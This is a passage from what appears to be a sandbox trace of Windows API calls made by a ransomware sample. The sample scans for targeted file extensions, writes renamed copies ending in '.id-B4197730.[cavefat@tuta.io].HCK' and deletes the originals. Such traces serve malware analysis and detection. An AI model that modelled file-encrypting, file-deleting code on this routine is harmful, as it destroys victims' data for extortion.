(lpString=".rar") returned 4 [0172.284] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.284] lstrlenW (lpString=".bz2") returned 4 [0172.284] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.284] lstrlenW (lpString=".7z") returned 3 [0172.284] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309567.JPG") returned 68 [0172.284] lstrlenW (lpString=".dbf") returned 4 [0172.284] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309567.JPG") returned 68 [0172.284] lstrlenW (lpString=".1cd") returned 4 [0172.284] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309567.JPG") returned 68 [0172.284] lstrlenW (lpString=".jpg") returned 4 [0172.284] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.284] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0172.284] lstrlenW (lpString="J0309705.JPG") returned 12 [0172.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309705.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309705.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0172.291] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=19162) returned 1 [0172.291] CloseHandle (hObject=0x38c) returned 1 [0172.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309705.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309705.jpg")) returned 0x220 [0172.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309705.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309705.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309705.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309705.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0172.300] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.300] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309705.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309705.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0172.303] GetLastError () returned 0x0 [0172.303] ReadFile (in: hFile=0x384, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x4ada, lpOverlapped=0x0) returned 1 [0172.304] WriteFile (in: hFile=0x388, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x4ae0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x4ae0, lpOverlapped=0x0) returned 1 [0172.305] ReadFile (in: hFile=0x384, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0172.305] WriteFile (in: hFile=0x388, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0172.305] SetEndOfFile (hFile=0x388) returned 1 [0172.309] CloseHandle (hObject=0x388) returned 1 [0172.311] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.311] SetEndOfFile (hFile=0x384) returned 1 [0172.315] CloseHandle (hObject=0x384) returned 1 [0172.318] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309705.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.319] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309705.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309705.jpg")) returned 1 [0172.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309705.JPG") returned 68 [0172.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309705.JPG") returned 68 [0172.320] lstrlenW (lpString=".doc") returned 4 [0172.320] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.320] lstrlenW (lpString=".docx") returned 5 [0172.320] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0172.320] lstrlenW (lpString=".pdf") returned 4 [0172.320] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.321] lstrlenW (lpString=".xls") returned 4 [0172.321] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.321] lstrlenW (lpString=".xlsx") returned 5 [0172.321] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0172.321] lstrlenW (lpString=".ppt") returned 4 [0172.321] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309705.JPG") returned 68 [0172.321] lstrlenW (lpString=".zip") returned 4 [0172.321] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.321] lstrlenW (lpString=".rar") returned 4 [0172.321] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.321] lstrlenW (lpString=".bz2") returned 4 [0172.321] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.321] lstrlenW (lpString=".7z") returned 3 [0172.321] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309705.JPG") returned 68 [0172.321] lstrlenW (lpString=".dbf") returned 4 [0172.321] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309705.JPG") returned 68 [0172.321] lstrlenW (lpString=".1cd") returned 4 [0172.321] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309705.JPG") returned 68 [0172.321] lstrlenW (lpString=".jpg") returned 4 [0172.321] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309705.JPG") returned 68 [0172.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309705.JPG") returned 68 [0172.321] lstrlenW (lpString=".doc") returned 4 [0172.321] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.321] lstrlenW (lpString=".docx") returned 5 [0172.321] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0172.321] lstrlenW (lpString=".pdf") returned 4 [0172.321] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.321] lstrlenW (lpString=".xls") returned 4 [0172.321] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.321] lstrlenW (lpString=".xlsx") returned 5 [0172.321] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0172.321] lstrlenW (lpString=".ppt") returned 4 [0172.321] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309705.JPG") returned 68 [0172.321] lstrlenW (lpString=".zip") returned 4 [0172.321] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.321] lstrlenW (lpString=".rar") returned 4 [0172.321] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.322] lstrlenW (lpString=".bz2") returned 4 [0172.322] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.322] lstrlenW (lpString=".7z") returned 3 [0172.322] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309705.JPG") returned 68 [0172.322] lstrlenW (lpString=".dbf") returned 4 [0172.322] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309705.JPG") returned 68 [0172.322] lstrlenW (lpString=".1cd") returned 4 [0172.322] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309705.JPG") returned 68 [0172.322] lstrlenW (lpString=".jpg") returned 4 [0172.322] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.322] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0172.322] lstrlenW (lpString="J0313965.JPG") returned 12 [0172.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313965.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0313965.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0172.329] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=42842) returned 1 [0172.329] CloseHandle (hObject=0x2fc) returned 1 [0172.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313965.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0313965.jpg")) returned 0x220 [0172.331] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313965.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0313965.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313965.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0313965.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0172.335] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.335] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313965.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0313965.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0172.340] GetLastError () returned 0x0 [0172.340] ReadFile (in: hFile=0x388, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xa75a, lpOverlapped=0x0) returned 1 [0172.344] WriteFile (in: hFile=0x3b0, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xa760, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xa760, lpOverlapped=0x0) returned 1 [0172.345] ReadFile (in: hFile=0x388, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0172.345] WriteFile (in: hFile=0x3b0, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0172.345] SetEndOfFile (hFile=0x3b0) returned 1 [0172.350] CloseHandle (hObject=0x3b0) returned 1 [0172.352] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.352] SetEndOfFile (hFile=0x388) returned 1 [0172.354] CloseHandle (hObject=0x388) returned 1 [0172.354] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313965.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.354] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313965.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0313965.jpg")) returned 1 [0172.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313965.JPG") returned 68 [0172.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313965.JPG") returned 68 [0172.364] lstrlenW (lpString=".doc") returned 4 [0172.364] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.364] lstrlenW (lpString=".docx") returned 5 [0172.364] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0172.364] lstrlenW (lpString=".pdf") returned 4 [0172.364] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.364] lstrlenW (lpString=".xls") returned 4 [0172.364] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.364] lstrlenW (lpString=".xlsx") returned 5 [0172.364] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0172.364] lstrlenW (lpString=".ppt") returned 4 [0172.364] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.364] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313965.JPG") returned 68 [0172.364] lstrlenW (lpString=".zip") returned 4 [0172.364] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.364] lstrlenW (lpString=".rar") returned 4 [0172.364] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.365] lstrlenW (lpString=".bz2") returned 4 [0172.365] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.365] lstrlenW (lpString=".7z") returned 3 [0172.365] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313965.JPG") returned 68 [0172.365] lstrlenW (lpString=".dbf") returned 4 [0172.365] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313965.JPG") returned 68 [0172.365] lstrlenW (lpString=".1cd") returned 4 [0172.365] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313965.JPG") returned 68 [0172.365] lstrlenW (lpString=".jpg") returned 4 [0172.365] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313965.JPG") returned 68 [0172.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313965.JPG") returned 68 [0172.365] lstrlenW (lpString=".doc") returned 4 [0172.365] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.365] lstrlenW (lpString=".docx") returned 5 [0172.365] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0172.365] lstrlenW (lpString=".pdf") returned 4 [0172.365] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.365] lstrlenW (lpString=".xls") returned 4 [0172.365] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.365] lstrlenW (lpString=".xlsx") returned 5 [0172.365] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0172.365] lstrlenW (lpString=".ppt") returned 4 [0172.365] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313965.JPG") returned 68 [0172.365] lstrlenW (lpString=".zip") returned 4 [0172.365] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.365] lstrlenW (lpString=".rar") returned 4 [0172.365] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.365] lstrlenW (lpString=".bz2") returned 4 [0172.365] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.365] lstrlenW (lpString=".7z") returned 3 [0172.365] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313965.JPG") returned 68 [0172.365] lstrlenW (lpString=".dbf") returned 4 [0172.365] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313965.JPG") returned 68 [0172.365] lstrlenW (lpString=".1cd") returned 4 [0172.365] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0313965.JPG") returned 68 [0172.365] lstrlenW (lpString=".jpg") returned 4 [0172.365] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.365] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0172.365] lstrlenW (lpString="J0314068.JPG") returned 12 [0172.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0314068.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0314068.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0172.368] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=16626) returned 1 [0172.368] CloseHandle (hObject=0x3a8) returned 1 [0172.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0314068.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0314068.jpg")) returned 0x220 [0172.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0314068.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0314068.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0314068.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0314068.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0172.378] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.378] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0314068.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0314068.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0172.383] GetLastError () returned 0x0 [0172.383] ReadFile (in: hFile=0x38c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x40f2, lpOverlapped=0x0) returned 1 [0172.384] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x4100, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x4100, lpOverlapped=0x0) returned 1 [0172.385] ReadFile (in: hFile=0x38c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0172.385] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0172.385] SetEndOfFile (hFile=0x368) returned 1 [0172.388] CloseHandle (hObject=0x368) returned 1 [0172.390] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.390] SetEndOfFile (hFile=0x38c) returned 1 [0172.393] CloseHandle (hObject=0x38c) returned 1 [0172.395] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0314068.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.395] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0314068.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0314068.jpg")) returned 1 [0172.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0314068.JPG") returned 68 [0172.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0314068.JPG") returned 68 [0172.397] lstrlenW (lpString=".doc") returned 4 [0172.397] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.397] lstrlenW (lpString=".docx") returned 5 [0172.397] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0172.397] lstrlenW (lpString=".pdf") returned 4 [0172.397] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.397] lstrlenW (lpString=".xls") returned 4 [0172.397] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.397] lstrlenW (lpString=".xlsx") returned 5 [0172.397] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0172.398] lstrlenW (lpString=".ppt") returned 4 [0172.398] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0314068.JPG") returned 68 [0172.398] lstrlenW (lpString=".zip") returned 4 [0172.398] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.398] lstrlenW (lpString=".rar") returned 4 [0172.398] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.398] lstrlenW (lpString=".bz2") returned 4 [0172.398] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.398] lstrlenW (lpString=".7z") returned 3 [0172.398] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0314068.JPG") returned 68 [0172.398] lstrlenW (lpString=".dbf") returned 4 [0172.398] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0314068.JPG") returned 68 [0172.398] lstrlenW (lpString=".1cd") returned 4 [0172.398] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0314068.JPG") returned 68 [0172.398] lstrlenW (lpString=".jpg") returned 4 [0172.398] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0314068.JPG") returned 68 [0172.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0314068.JPG") returned 68 [0172.398] lstrlenW (lpString=".doc") returned 4 [0172.398] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.398] lstrlenW (lpString=".docx") returned 5 [0172.398] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0172.398] lstrlenW (lpString=".pdf") returned 4 [0172.398] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.398] lstrlenW (lpString=".xls") returned 4 [0172.398] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.398] lstrlenW (lpString=".xlsx") returned 5 [0172.398] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0172.398] lstrlenW (lpString=".ppt") returned 4 [0172.398] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0314068.JPG") returned 68 [0172.398] lstrlenW (lpString=".zip") returned 4 [0172.398] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.398] lstrlenW (lpString=".rar") returned 4 [0172.398] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.398] lstrlenW (lpString=".bz2") returned 4 [0172.398] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.398] lstrlenW (lpString=".7z") returned 3 [0172.398] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0314068.JPG") returned 68 [0172.398] 